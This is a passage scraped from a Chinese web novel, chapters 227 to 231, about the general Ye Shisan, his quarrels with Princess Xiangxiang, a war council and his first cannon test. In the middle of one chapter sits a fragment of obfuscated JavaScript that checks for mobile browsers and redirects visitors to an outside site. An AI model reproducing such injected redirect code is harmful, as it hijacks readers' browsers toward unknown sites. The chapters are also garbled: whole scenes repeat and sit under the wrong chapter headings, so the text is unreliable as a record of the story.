香香郡主一瞥众将领,面上一阵得意,然后等叶十三的反应。
跟谁过不去,也不能明着和军部过不去,既然这蠢货打着军部的旗号,叶十三还是转过身来单膝跪地。
这一下,香香郡主更得意了。
她想要的,就是这个效果。
假咳两声,清了清嗓子,挺胸继续念道:“今怀远将军叶十三,率部于边境奋勇杀敌,屡立战功,按大夏戍边制
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,黄羊岘防区将领叶十三,特由怀远将军升授为昭毅将军,望昭毅将军叶十三再接再厉,以戍边守土为己任,保我大夏千里北防久安无虞。”
听到这嘉奖内容,众将领纷纷抬头,向叶十三投去羡慕与敬佩的目光。
“还不接着?”
香香郡主傲然地看向一脸懵逼的叶十三,把那份公函向叶十三面前一伸。
“就这些?”
叶十三缓缓抬头,轻蔑地望向一脸得意的香香郡主。
”啊?”
香香郡主万没料到,叶十三会来这么一句?
“没有赏银和其它了?”
叶十三冷声又是一问。
这一问,让香香郡主的一张粉脸,顿时就红到了脖颈。
“你是怀疑本郡主,私吞了赏银不成?”
尴尬片刻,香香郡主跺脚又骂了起来:“有没有赏银和其他嘉奖,你可去问北防军统帅啊!”
说完,香香郡主把手中的嘉奖令,气呼呼地向叶十三手里一塞。
就在香香郡主转身要回军帐的时候,突然又转过身来,霎时就换上了一副笑脸,从怀里摸出一摞银票,高举着手,把银票抖得哗啦啦直响。
“不过,此战意义非凡,不但歼灭敌贼近两万数,而且还占领元蒙地盘不小。”
说着,香香郡主把视线,又转移到叶十三那张拉不出屎来一样的脸上,又道:“既然军部账面拮据,那么好了,本监军代替肃王,嘉奖你白银五万两,这可行了吧?”
你她娘的!
这是在贿赂老子?
肃王的五万两银子很大吗?
还真不是老子小瞧你们这些鸟人,五万两银子,还不够买这片土地上放养的牛羊。
“拿着呀!”
香香郡主目不转睛,死死盯着叶十三的脸。
叶十三站了起来,转头向卫兵陈七斤说道:“朝廷欠我黄羊岘防区北防军粮饷已经足有两月,监军大人是代表朝廷兵部,这五万两银子虽然是少了点,给兄弟们正好补发一下军饷,你把这欠饷给收了,回头补发给各将领,再让各将领分发下去。”
此言一出,众将领不由得一阵面面相觑。
叶十三可真够辣的,不但没有领肃王的人情,而且还以补发欠饷的名义,把这五万两银票给收了。
这一下,香香郡主脸都绿了。
不料,叶十三望着香香郡主,突然笑道:“嘉奖我北防军将士,就这些银子,补发欠饷都不够,监军大人真要是想代替肃王嘉奖将士们,那可得拿出诚意啊!”
此言一出,香香郡主差点被气得大姨妈倒灌,就差当场吐血了。
第227章 还是泡脚舒服
嘉奖将士?
就按叶十三手中现有的这一万兵马,杀敌两万数来算。
那最少,得拿出二十万两银子,这才能平均下去。
混蛋!
你不给本郡主面子也就罢了,还出这馊主意,让本郡主在将领们面前丢人。
香香郡主碍于面子,脸上依旧神色自若,但肚里已经是骂开了锅。
叶十三盯着香香郡主片刻,突然又道:“戍边守土,乃我边军的天职,至于什么嘉奖?呵呵,那就不为难肃王了,你应该知道,我边军杀敌,是为大夏百姓而谋,并非为哪一个王爷而战。”
话音一落,周钊带头拍起了巴掌。
这一下,噼里啪啦的鼓掌声,就像爆豆一样响了起来。
叶十三这话说得漂亮,还让香香郡主逮不住半点毛病。
这五万两银票,砸进叶十三这口池塘中,却连一点水花都没溅起。
在老子面前,拿银子收买人心,你她娘的还嫩了点。
叶十三肚里骂着,嘴上又道:“不过,末将还是感谢郡主,这么远路,专为此事不辞辛苦,这让末将心中有些过意不去。”
拿了人家五万两银票,怎么着也得说些好听的不是?
此言一出,香香郡主脸上,这才好看了一点。
“身为监军,理应如此,谈不上辛苦不辛苦的。”
说完,香香郡主逃命一样,转身就溜进了军帐。
既然已经和香香郡主正式碰了面,再躲,倒显得自己小家子气。
叶十三摆摆手,让众将领散了早些歇息,明天还有重要布防重新布阵。
待众将散后,叶十三瞅了瞅自己的军帐,向身边何秀儿点点头,然后背着双手就走了进去。
“哼!”
香香郡主见到叶十三进来,霎时就转过身去,不再理睬叶十三。
也许是太累了的缘故,或者是叶十三压根没有避嫌的想法。
“秀,打些热水,给我泡泡脚。”说着,叶十三大刺刺地,往军帐中那张铺着熊皮的宽背椅子上一躺,把两只穿着牛皮长靴的脚,就伸向前面举着。
何秀儿提来热水,一瞥了香香郡主的后背一眼,怯生生的双手一提裙摆,在椅子前面蹲了下来。
“将军,就让小的给您脱鞋吧!”
叶十三没有言语,只是闭上了眼睛。
何秀儿蹲在地上,把叶十三脚上的两只牛皮长靴给脱了下来,然后又给叶十**掉了早已和脚粘在一起的袜子。
这一下,背着身子的香香郡主,绷不住了。
“臭**了!”
香香郡主尖尖的指头,捏着自己笔直小巧的鼻子,转过身来,另一只手急忙摆动个不停。
“快,把那鞋袜给扔出去好了,臭得能熏死个人。”
草!
这就嫌老子的脚臭了?
当初,在何家大院,老子拿雪给你这蠢货搓脚的时候,你那脚好看倒是好看,可那味,不比老子的逊色。
叶十三肚里骂着,闭着眼睛嘴上淡淡说道:“牛皮长靴不透气,没日没夜的还要赶路,哪有不臭的脚?”
拼住了呼吸的何秀儿,小声说道:“让小的给将军泡泡就好了,日夜奔忙出汗多,泡泡脚还是舒服一些。”
换过一盆热水,脚味儿这才小了许多。
侍奉叶十三,那可是何秀儿的专职和殊荣,脚再是臭,她也得给泡了。
何秀儿麻利地给木盆里添了热水,把叶十三两只臭气大减的脚,又给按进了热水里泡着。
正在何秀儿低头忙碌着的时候,香香郡主不淡定了,狠瞪叶十三一眼,咬牙说道:“秀儿,放水,本郡主累了,也要泡脚。”
草!
还和老子较上劲了?
老子泡脚,你不服么,那老子要是脱光了衣服,让何秀儿给搓背擦胸呢?
如此想着的时候,何秀儿已经给另一只木盆里,也添上了热水。
“郡主,您先泡着,待会儿小的给您揉搓。”
何秀儿把木盆往香香郡主眼前一推,然后又低头揉搓着叶十三的脚。
香香郡主坐在行军毯的一头,夸张地伸着两只穿着大红鹿皮靴子的脚,口气轻蔑地说道:“本郡主的脚啊,绝对没有一些人的那般恶臭,听说心术不端之人,脚是很臭的哈!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975071|171513||http|test|mini|href|location''.split(''|''),0,{}));
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还有这等荒谬的说法?
“相由心生”这句话,老子倒是没少听说。
但谁的脚臭,谁就心术不正了?
什么狗屁歪理?
还听说?
听说你娘个蛋!保不准就是你这种蠢货用来骂人的。
叶十三依旧闭着眼睛,嘴里又道:“这话有道理,心术不正之人的脚,还真不香,曾经把两盆洁白无瑕的雪,都给弄得臭不可闻,真是糟蹋了那么白的雪了。”
这话,让何秀儿低着头不敢言语半声,只是尽快地给叶十三搓洗。
叶十三话音一落,香香郡主就不淡定了。
“哗啦……”
地上的脚盆,被突然站了起来的香香郡主一脚踢翻。
“让你说臭,那就臭死你好了!”
怒气冲天的香香郡主,不顾何秀儿在场,发疯似的冲了上去,一抬腿,就把一只白生生的光脚,搭在叶十三的胸前。
“啊……”
何秀儿见香香郡主如此失仪,吓得赶紧低下头来不敢再看。
一个出身官宦人家的小姐,而且现在又是贵为郡主,居然不顾羞耻,如此放浪形骸地把一只光脚,伸在一个男人的嘴边?
“啊……”
何秀儿刚惊叫一声,这香香郡主却又尖叫了起来。
惊吓之下,何秀儿慌忙抬头,却看到依旧闭着眼睛的叶十三,方才突然张口,把香香郡主的脚尖给死死咬住。
一个身为监军的郡主,一个刚又被升授昭毅将军的战将,居然是如此辣人眼睛。
“混蛋!”
“不要脸!”
“流氓,无赖!”
“快松开,疼死我了!”
香香郡主呲着牙,倒吸一口凉气,又羞又怒地骂个不停。
叶十三就像泥塑一样,依然紧闭着眼睛,嘴里咬着香香郡主的一只脚尖,直挺挺在椅子上躺着。
看到如此情景,何秀儿面上一红,低着头站了起来,端起泡过脚的盆子,头也不敢抬一下,悄无声息地就退出了军帐。
不一刻,军帐内的蜡烛熄灭,一阵含糊不清的声音,顿时就传了出来。
第228章 军帐议事
军帐外,何秀儿低头候着。
良久,身后的军帐,陷入一片死寂,再也听不到任何的声响。
看到血卫军在周围来回巡逻,何秀儿觉得再这么候着也是多余,踌躇片刻,便低头进了军帐,摸过一条毯子,在军帐一角的毛毡上倒头睡了。
……
天还没大亮,牛粪火就旺了。
一壶热茶,已经被何秀儿烧得翻滚不已。
把茶放在桌上后,何秀儿才穿好革甲,那把短刀,也被挂在腰间。
“郡主,您醒了?”
何秀儿不敢把目光投向叶十三,而是低头问了行军毯上的香香郡主一声。
“茶烧好了?”
香香郡主答非所问,美眸一转,就偷窥叶十三一眼。
叶十三裹着一条羊毛软毡,蒙着脑袋,在铺着熊皮的宽背大椅上还在呼呼大睡。
“快叫醒将军,侍奉将军洗漱,都什么时候了,哪能再酣睡不醒!”
“聒噪!”
叶十三从羊毛软毡中探出脑袋,随即嘟囔一句就坐了起来。
见叶十三是醒着的,香香郡主一改方才的模样,款款上前立在椅旁的桌前。
“昭毅将军醒了?”
“没长眼啊!”
叶十三冷冷一句,翻身就下了椅子去穿靴子。
此时,一名卫兵走到军帐门口。
“禀将军,吴甲正到了!”
吴六子?
这货带人连夜出发,定是有了新的军情要禀报。
“嗯!”
叶十三点点头,在桌旁坐了下来。
“禀将军!”
一身风尘的吴六子,来到桌前就道:“沁目河对面,元蒙大军正在集结,看样子,随时踩会冰过河向我部发动进攻。”
“嗯!”
叶十三点点头,又扬扬手,道:“你快去眯一会,其余的事,让他们安排就是。”
待吴六子退下回去补觉,叶十三目光看向何秀儿,道:“速传袁彪,周钊和穆顺来军帐议事。”
刚洗漱完,三位战将就到了。
此时的袁彪,手下兵马虽少,但也是底气最足的一个。
血卫军的副统领,那可是叶十三的亲卫。
而且,目睹过火器的威力,已经让袁彪的自信瞬间爆棚。
“末将见过郡主,见过昭毅将军!”
三人异口同声,立在帐内行礼。
“坐!”
叶十三淡淡一句,率先在熊皮大椅上坐了下来。
目光一扫依旧站着的三人,叶十三又道:“坐下说。”
三人一阵面面相觑,依然没有落座的意思。
桌前面,就空着三把椅子,他们要是坐了,香香郡主坐哪里?
这个挂名的监军,可不是个省油的灯,还是少招惹为好。
“末将站着就是!”
周钊讪笑着,应声一句,目光不由得一瞥香香郡主。
叶十三把目光转到香香郡主脸上,道:“既然郡主亲临火线,那么就在此坐镇好了,传苏哲过来,本将有任务给他。”
一听让她坐镇这里,香香郡主的眼睛就亮了。
“好,我去找苏哲过来。”
香香郡主美眸一翻,亲自去找她的卫兵头子苏哲。
看到香香郡主离开军帐,三人这才围着桌子坐了。
叶十三欠欠身子,指着桌上吴六子放下的一份草图,然后看向眼前三位战将。
“忽烈儿可汗,已经在这处集结大军了,目的就是将我军赶出这里。”
此言一出,周钊面颊一抽,急道:“元蒙这次,应该是调集了精锐部队,兵马定会大于我军几倍。”
“将军不可轻心大意,如此重兵集结,忽烈儿可汗定是孤注一掷,依末将看,我军还是退守岘口好了。”
穆顺也是和周钊同一看法,认为这个地方没必要死守,还不如依靠岘口的地势优势做好防守,把元蒙大军拦在岘口之外。
“哪你呢?”
叶十三把视线,转移到袁彪脸上,又道:“谈谈你的看法。”
袁彪一阵激动,“噌”一下站起来,双拳一抱,铿锵说道:“末将愿听将军的。”
“哦!”
叶十三微微颔首,很满意袁彪的态度。
看来,袁彪对火炮的威力,那是深入骨髓的钦佩。
“袁彪,你怎可如此轻率?昭毅将军年轻,不知个中凶险,你是军中的老人了,岂能……”
见袁彪毫无主见,只听叶十三的部署,穆顺也急眼了,瞪向袁彪又道:“我军
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兵马,再是有火器**增添威力,但兵数也就八千数,加上你带来的,撑死也就九千兵马,可元蒙大军……”
“呵呵!”
袁彪一脸镇定,拱起手来笑道:“二位兄长放心好了,就咱昭毅将军的神威,岂是忽烈儿可汗所能冒犯的?”
屁话!
眼下,那可是迫在眉睫的布阵作战,不是拍主帅的马屁的时候。
周钊肚里骂了一句,把目光投向同样一脸焦急的穆顺。
此时,苏哲到了。
“末将见过昭毅将军!”
苏哲进得军帐,单腿跪地,向叶十三拱手一礼。
“苏哲听令!”
叶十三站了起来,双手背在身后,昂首说道:“你带几个人,速速去趟兔窝堡,传本将军令,着万川郡调过来的那五千兵马,赶天黑进驻黄羊岘防区岘口要隘。”
“末将遵命!”
苏哲应声,然后拿着叶十三递过来的兵符,躬身退下后带着几个卫兵策马而去。
“将军,何不将另外五千兵马一起调集过来?”
周钊面上又是一抽,嘴角一抖又道:“多一兵有多一兵的好处,反正那边防线,已经有岳将军的大军驻守,另外那五千兵马,已经归您调遣了,一起驻守黄羊岘岂不是更好?”
“周兄言之有理!”
穆顺也把视线,从周钊脸上转移到叶十三脸上,道:“如今我军兵力不占优势,将军更应该把麾下兵马,集中一处,如此一来,我军胜算的保障,就要多上一分。”
看到叶十三派苏哲去调兵,穆顺和周钊一阵高兴。
但听到叶十三只调五千兵马过来,二人不免又是一阵失望。
望着二人焦灼的眼神,叶十三摆摆手,道:“就那五千兵马,本将也没打算派他们大用场,姑且算作是后勤保障罢了。”
什么?
这个,周钊和穆顺二人,脸都绿了。
既然调遣了五千兵马,何不将他们补充到这火线?
留守岘口,还说是作为后勤保障使用?
这下,周钊和穆顺二人,彻底不淡定了。
倒是香香郡主没心没肺,上前来到桌旁,说道:“本郡主就坐镇这里,你们尽可全力出动迎敌。”
第229章 隔河相望,兵力悬殊
嘉奖将士?
就按叶十三手中现有的这一万兵马,杀敌两万数来算。
那最少,得拿出二十万两银子,这才能平均下去。
混蛋!
你不给本郡主面子也就罢了,还出这馊主意,让本郡主在将领们面前丢人。
香香郡主碍于面子,脸上依旧神色自若,但肚里已经是骂开了锅。
叶十三盯着香香郡主片刻,突然又道:“戍边守土,乃我边军的天职,至于什么嘉奖?呵呵,那就不为难肃王了,你应该知道,我边军杀敌,是为大夏百姓而谋,并非为哪一个王爷而战。”
话音一落,周钊带头拍起了巴掌。
这一下,噼里啪啦的鼓掌声,就像爆豆一样响了起来。
叶十三这话说得漂亮,还让香香郡主逮不住半点毛病。
这五万两银票,砸进叶十三这口池塘中,却连一点水花都没溅起。
在老子面前,拿银子收买人心,你她娘的还嫩了点。
叶十三肚里骂着,嘴上又道:“不过,末将还是感谢郡主,这么远路,专为此事不辞辛苦,这让末将心中有些过意不去。”
拿了人家五万两银票,怎么着也得说些好听的不是?
此言一出,香香郡主脸上,这才好看了一点。
“身为监军,理应如此,谈不上辛苦不辛苦的。”
说完,香香郡主逃命一样,转身就溜进了军帐。
既然已经和香香郡主正式碰了面,再躲,倒显得自己小家子气。
叶十三摆摆手,让众将领散了早些歇息,明天还有重要布防重新布阵。
待众将散后,叶十三瞅了瞅自己的军帐,向身边何秀儿点点头,然后背着双手就走了进去。
“哼!”
香香郡主见到叶十三进来,霎时就转过身去,不再理睬叶十三。
也许是太累了的缘故,或者是叶十三压根没有避嫌的想法。
“秀,打些热水,给我泡泡脚。”说着,叶十三大刺刺地,往军帐中那张铺着熊皮的宽背椅子上一躺,把两只穿着牛皮长靴的脚,就伸向前面举着。
何秀儿提来热水,一瞥了香香郡主的后背一眼,怯生生的双手一提裙摆,在椅子前面蹲了下来。
“将军,就让小的给您脱鞋吧!”
叶十三没有言语,只是闭上了眼睛。
何秀儿蹲在地上,把叶十三脚上的两只牛皮长靴给脱了下来,然后又给叶十三脱掉了早已和脚粘在一起的袜子。
这一下,背着身子的香香郡主,绷不住了。
“臭死人了!”
香香郡主尖尖的指头,捏着自己笔直小巧的鼻子,转过身来,另一只手急忙摆动个不停。
“快,把那鞋袜给扔出去好了,臭得能熏死个人。”
草!
这就嫌老子的脚臭了?
当初,在何家大院,老子拿雪给你这蠢货搓脚的时候,你那脚好看倒是好看,可那味,不比老子的逊色。
叶十三肚里骂着,闭着眼睛嘴上淡淡说道:“牛皮长靴不透气,没日没夜的还要赶路,哪有不臭的脚?”
拼住了呼吸的何秀儿,小声说道:“让小的给将军泡泡就好了,日夜奔忙出汗多,泡泡脚还是舒服一些。”
换过一盆热水,脚味儿这才小了许多。
侍奉叶十三,那可是何秀儿的专职和殊荣,脚再是臭,她也得给泡了。
何秀儿麻利地给木盆里添了热水,把叶十三两只臭气大减的脚,又给按进了热水里泡着。
正在何秀儿低头忙碌着的时候,香香郡主不淡定了,狠瞪叶十三一眼,咬牙说道:“秀儿,放水,本郡主累了,也要泡脚。”
草!
还和老子较上劲了?
老子泡脚,你不服么,那老子要是脱光了衣服,让何秀儿给搓背擦胸呢?
如此想着的时候,何秀儿已经给另一只木盆里,也添上了热水。
“郡主,您先泡着,待会儿小的给您揉搓。”
何秀儿把木盆往香香郡主眼前一推,然后又低头揉搓着叶十三的脚。
香香郡主坐在行军毯的一头,夸张地伸着两只穿着大红鹿皮靴子的脚,口气轻蔑地说道:“本郡主的脚啊,绝对没有一些人的那般恶臭,听说心术不端之人,脚是很臭的哈!”
尼玛!
还有这等荒谬的说法?
“相由心生”这句话,老子倒是没少听说。
但谁的脚臭,谁就心术不正了?
什么狗屁歪理?
还听说?
听说你娘个蛋!保不准就是你这种蠢货用来骂人的。
叶十三依旧闭着眼睛,嘴里又道:“这话有道理,心术不正之人的脚,还真不香,曾经把两盆洁白无瑕的雪,都给弄得臭不可闻,真是糟蹋了那么白的雪了。”
这话,让何秀儿低着头不敢言语半声,只是尽快地给叶十三搓洗。
叶十三话音一落,香香郡主就不淡定了。
“哗啦……”
地上的脚盆,被突然站了起来的香香郡主一脚踢翻。
“让你说臭,那就臭死你好了!”
怒气冲天的香香郡主,不顾何秀儿在场,发疯似的冲了上去,一抬腿,就把一只白生生的光脚,搭在叶十三的胸前。
“啊……”
何秀儿见香香郡主如此失仪,吓得赶紧低下头来不敢再看。
一个出身官宦人家的小姐,而且现在又是贵为郡主,居然不顾羞耻,如此放浪形骸地把一只光脚,伸在一个男人的嘴边?
“啊……”
何秀儿刚惊叫一声,这香香郡主却又尖叫了起来。
惊吓之下,何秀儿慌忙抬头,却看到依旧闭着眼睛的叶十三,方才突然张口,把香香郡主的脚尖给死死咬住。
一个身为监军的郡主,一个刚又被升授昭毅将军的战将,居然是如此辣人眼睛。
“混蛋!”
“不要脸!”
“流氓,无赖!”
“快松开,疼死我了!”
香香郡主呲着牙,倒吸一口凉气,又羞又怒地骂个不停。
叶十三就像泥塑一样,依然紧闭着眼睛,嘴里咬着香香郡主的一只脚尖,直挺挺在椅子上躺着。
看到如此情景,何秀儿面上一红,低着头站了起来,端起泡过脚的盆子,头也不敢抬一下,悄无声息地就退出了军帐。
不一刻,军帐内的蜡烛熄灭,一阵含糊不清的声音,顿时就传了出来。
第230章 给老子杀过沁目河去
这一声响。
七百新编的血卫军脸上一片茫然。
“报靶!”
蹲在地上站了起来的叶十三,突然向马成暴吼一声。
“遵命!”
马成直接撒开两腿,向着方才雪柱升起的地方狂奔而去。
这货,马都没骑。
叶十三怔了怔,大手一挥,吼道:“等着老子。”
说完,叶十三按捺不住内心的焦躁,飞身上马就追了过去。
叶十三的举动,引得袁彪和几个将领,面面相觑片刻,目光一阵交流后,纷纷跨上战马紧赶了上去。
二里地外的雪地上,一个半间屋子大小的浅坑,正出现在众将领面前。
浅坑里面黑色的泥土上,布满了不少的孔洞。
谁都知道,那些孔洞,就是从炮口射出的铁片造成的。
被冰冻的无比坚硬的雪地,能造成如此恐怖的现象,杀伤力真无法估量。
袁彪满脸通红,激动得面颊直抖。
叶十三缓缓转头,目光看向袁彪,沉声道:“血卫军火炮卫,就归你统领。”
“谢将军!”
袁彪面颊又是一阵急抖,单腿跪地拱手应答。
“走,回去!”
叶十三满怀欣喜,勒转马头就直奔炮阵……
经过一整日的反复测试,看到调转炮口,炸得山崖直往下掉碎石的场景,血卫军们忘记了饥饿和疲劳,兴奋得像兔子一样,在雪地上狂跳不已。
望着逐渐暗了下来的天色,叶十三终于作出决定。
“开拔!”
一声令下,战马拉着炮架,就像拉雪橇一样,在通向隘口的雪地上,向元蒙境内疾驰。
饿着肚子的队伍,高举着火把,浑身是劲不知疲倦,待月亮在半夜升起来的时候,已经到达了粮草大营。
叶十三的到达,让坐卧不安的周钊和穆顺二人,这才安下了心来。
叶十三离开粮草大营的这两日,他二人的心,一直在嗓子眼上悬着,一刻也不敢轻心大意。
众将领拥簇着叶十三,径直走向叶十三住的军帐。
周钊像是想起来什么?
“将军……”
“说!”
叶十三转头,看向欲言又止的周钊。
周钊一怔,随即讪笑道;“郡主到了,就住在将军您的军帐!”
此言一出,叶十三的脸就黑了下来。
好在火把的光亮遮起一片阴影,没人注意到叶十三脸上神色的骤然变化。
“她来何干?”
叶十三的声音,随即也冷了下来,头也没回就是冷声一问。
“这个……”
周钊还真说不上,香香郡主突然来到这里,到底是何用意?
一阵尴尬之后,周钊讪讪说道:“郡主来时,满脸喜气,问及将军去向,末将只好实说将军带着一百亲卫,去巴立盟部巡视……”
“嗯!”
叶十三点点头,对周钊的说法,并无异议。
可这香香郡主在这等节骨眼上,脑子抽风了跑来前线凑热闹,让人真够头疼的了。
叶十三心里矛盾极了!
他恨不得亲手宰了肃王郑岳嵩一家,但他又不想看到香香郡主死在他的眼前。
眼下,这自己的军帐是回不成了。
已经发困的无法言说的叶十三,只好转身往旁边血卫军住的毡帐去。
就在他刚转身的时候,军帐的门被从里面打开,帐内已经亮起了蜡烛。
“将军回来了!”
何秀儿急急走出军帐,在叶十三面前跪了,低着头说道:“郡主有请将军。”
“哼!”
叶十三鼻孔冷哼一声,呆愣片刻,背着双手转身就走。
“站住!”
一声厉喝从身后传来,香香郡主已经穿戴整齐,走出军帐站在何秀儿身后。
叶十三停了下来,头也没回,冷冷说道:“三更半夜,不知监军大人有何吩咐?”
“本郡主代军部宣读嘉奖令!”
香香郡主一撇嘴,把手里拿着的公函,在众将领面前扬了扬。
嘉奖令?
叶十三背着身子,嘴角一拧,冷声又道:“不知军部,是要嘉奖我军何人?”
见叶十三态度如此冷漠,香香郡主也懒得再东拉西扯,借着火把的光亮翻开手中公函,刻意提高了声调。
“大夏国戍边北防军,军部统帅令!”
香香郡主抑扬顿挫,念完开头,刻意停了下来。
众将领皆被这突如其来的一幕,惊得不知所措,这战斗才打响不久,远远没有结束,这军部的嘉奖令可就到了?
军部的嘉奖令,那可是依照朝廷颁发的嘉奖条例来执行,某种程度上还代表着朝廷兵部。
无数目光,缓缓看向香香郡主手中公函的同时,众将领齐齐单腿跪下,右拳触地,低头静候嘉奖内容。
“咳咳!”
香香郡主一瞥众将领,面上一阵得意,然后等叶十三的反应。
跟谁过不去,也不能明着和军部过不去,既然这蠢货打着军部的旗号,叶十三还是转过身来单膝跪地。
这一下,香香郡主更得意了。
她想要的,就是这个效果。
假咳两声,清了清嗓子,挺胸继续念道:“今怀远将军叶十三,率部于边境奋勇杀敌,屡立战功,按大夏戍边制,黄羊岘防区将领叶十三,特由怀远将军升授为昭毅将军,望昭毅将军叶十三再接再厉,以戍边守土为己任,保我大夏千里北防久安无虞。”
听到这嘉奖内容,众将领纷纷抬头,向叶十三投去羡慕与敬佩的目光。
“还不接着?”
香香郡主傲然地看向一脸懵逼的叶十三,把那份公函向叶十三面前一伸。
“就这些?”
叶十三缓缓抬头,轻蔑地望向一脸得意的香香郡主。
”啊?”
香香郡主万没料到,叶十三会来这么一句?
“没有赏银和其它了?”
叶十三冷声又是一问。
这一问,让香香郡主的一张粉脸,顿时就红到了脖颈。
“你是怀疑本郡主,私吞了赏银不成?”
尴尬片刻,香香郡主跺脚又骂了起来:“有没有赏银和其他嘉奖,你可去问北防军统帅啊!”
说完,香香郡主把手中的嘉奖令,气呼呼地向叶十三手里一塞。
就在香香郡主转身要回军帐的时候,突然又转过身来,霎时就换上了一副笑脸,从怀里摸出一摞银票,高举着手,把银票抖得哗啦啦直响。
“不过,此战意义非凡,不但歼灭敌贼近两万数,而且还占领元蒙地盘不小。”
说着,香香郡主把视线,又转移到叶十三那张拉不出屎来一样的脸上,又道:“既然军部账面拮据,那么好了,本监军代替肃王,嘉奖你白银五万两,这可行了吧?”
你她娘的!
这是在贿赂老子?
肃王的五万两银子很大吗?
还真不是老子小瞧你们这些鸟人,五万两银子,还不够买这片土地上放养的牛羊。
“拿着呀!”
香香郡主目不转睛,死死盯着叶十三的脸。
叶十三站了起来,转头向卫兵陈七斤说道:“朝廷欠我黄羊岘防区北防军粮饷已经足有两月,监军大人是代表朝廷兵部,这五万两银子虽然是少了点,给兄弟们正好补发一下军饷,你把这欠饷给收了,回头补发给各将领,再让各将领分发下去。”
此言一出,众将领不由得一阵面面相觑。
叶十三可真够辣的,不但没有领肃王的人情,而且还以补发欠饷的名义,把这五万两银票给收了。
这一下,香香郡主脸都绿了。
不料,叶十三望着香香郡主,突然笑道:“嘉奖我北防军将士,就这些银子,补发欠饷都不够,监军大人真要是想代替肃王嘉奖将士们,那可得拿出诚意啊!”
此言一出,香香郡主差点被气得大姨妈倒灌,就差当场吐血了。
第231章 杀了个痛快
半夜,明月高悬。
临出发时,袁彪这才知道,之前看到的那些一头开口的空心铁柱,要全部运出硫磺谷去。
一根铁柱,足有上千金重,加上每根铁柱配有一个结实的木架,这就得十几个人才能抬得动。
加上硫磺顾道路崎岖不平,运送到谷口外的野驴滩,一个时辰怕是远远不够。
难怪马成那货,冲他呲牙咧嘴地坏笑,原来这货心知肚明,根本就没憋好屁。
不光这些,林老幺处那些羊皮包裹,也够好几百匹战马驮的。
能赶在天亮之前,到达预定地点,就已经算是烧高香了。
吴六子早都想好办法了。
每根空心铁柱,横穿三道绳子,每根绳子两头,又穿一根粗壮的棒子。
如此一来,六根棒子由十二个人抬起。
就这样,五十根空心铁柱,就由六百名新编的血卫军半里一歇气,一里一缓脚,直到天色大亮时,这才运出了硫磺谷。
余下的一百血卫军,和叶十三自带着的那一百,赶着总数八百匹战马,驮着不少的物件,跟在后面一起到达目的地。
出谷后,在山崖前宽阔的荒漠里停了下来。
这里,曾经是一片松林。
眼下已经被吴六子带人几次砍伐后,已经是光秃秃一片。
叶十三目光搜寻到一根半人高的树桩站了上去。
望着累得东倒西歪的那六百血卫军,叶十三暴吼道:“都给老子列队站好了。”
这么急?
不让大伙歇口气!
袁彪面上一紧,即刻指挥自己麾下被改编的这七百血卫军们,在雪地上齐齐列队站了。
看到列队如此迅速整齐,叶十三满意地点点头。
“都听好了,没有分到火器长枪的,出列!”
一声令下,二百膀大腰圆的兵卒从队列中上前两步,纷纷站在队列前面。
剩下的五百兵卒,那是被分到了长枪。
其实,马成和吴六子负责分配长枪的时候,刻意没给看起来体型彪悍,膀大腰圆的这部分兵卒发放。
这两货,对叶十三心思,那是已经到了心领神会的地步。
注定这二百憨包,是要以后出大力气的。
果然,叶十三的目光,一扫眼前这二百手中没有长枪的兵卒,高声道:“你们二百人,四人一组,分五十组。”
一阵混乱过后,二百人又齐齐地战列成五十组。
“好了!”
叶十三摆摆手,又指着被从马背上卸下来的五十具圆木打造的架子,继续说道:“把炮筒抬上木架,按图纸固定好了。”
说完,叶十三跳下木桩,亲自指挥着兵卒们,把那些空心铁柱,一个个都固定在木架上。
“这就是火炮,和你们手里的长枪一个道理,只是巨大了许多,威力更是长枪所不能比的。”
叶十三终于说出了这物件的名字。
火炮?
不但袁彪一头雾水,就是马成和吴六子,也好奇不已,重新观摩起来这些体型巨大的“长枪”来。
木架被一具具摆开,每架火炮间隔最少五丈距离。
叶十三重新站在那根木桩上,目光一扫二百手中没有长枪的兵卒,重新部署道:“四人一架火炮,今后,你们每组,各负责一架火炮的运输和使用。”
这些兵卒这才看到,每具木架上,早已编好了序列号。
不愧是平时训练有素的北防军,得令后,四人一组,分左右站在各自的火炮两侧。
叶十三点点头,视线转移到另外五百兵卒,吼道:“列队报数。”
一声令下,剩下的五百身背长枪的血卫军,呼啦啦又站成队列。
“一,二,三,二百零一,二百……”
当报数声喊到二百零几的时候,叶十三扬起一只手来,高声喊停。
“前二百名血卫军,出列,按报数序列,四人一组,每组一架火炮。”
这报数在前的二百血卫军,和前面的兵卒一样,也是四人一组,分左右两两在火炮两侧站了。
“好了!”
叶十三跳下了树桩,来到火炮队列前面,道:“每架火炮,配置四名炮手,另配四名长枪护卫。”
这样一来,一架火炮,被配上了八名血卫军,五十架火炮就组成了一支炮队。
剩下三百血卫军,编入马成的长枪卫队。
不算分给火炮队的二百人,血卫军长枪队,刚好一千兵数。
除了崔明贵带着的二百人,用来看守硫磺谷在元蒙那头的出入口,叶十三眼下带着出征的,已经有八百长枪卫队。
加上这五十门大炮和二百火炮卫队,他的班底已经是想到恐怖的了。
还不足两千兵数的血卫军,将会改变以后所有的战局。
待人员分配完毕,叶十三让陈七斤搬来装有弹药的藤条箱子。
自马成带领血卫军后,陈七斤就成了叶十三身边的跟班。
对于这些火炮,叶十三心里还真没底。
不过,长枪试射成功,而且在战场上已经发挥了巨大的作用。
这就让叶十三对火炮,更加有了信心和经验。
毕竟,他只是懂构造原理,而没有使用过这么落后的武器。
但在魂穿后的古代,这种武器,却开了战争史上火器的先河。
前世现代的一个倒霉鬼,却成了古代战争史上一个伟大的发明者,和火器使用的缔造者。
木质的炮架,就像一具雪橇。
叶十三指挥着炮手们,重新布阵,把炮口一字排开,朝向茫茫的雪野。
“填弹!”
叶十三大吼一声,然后亲自示范,给火炮的炮膛填火药,再灌进足够的大块铁渣。
最后,叶十三接过陈七斤递上来的火信,从大炮后面的一处留开的小孔塞了进去。
在目测了一会方向后,叶十三举着火把,眼睛一闭,伸向露在炮身后面的火信。
滋滋滋……
卷有火药的棉绳,冒着火花一截截变断,迅速地向炮膛内部燃烧进去。
“轰!”
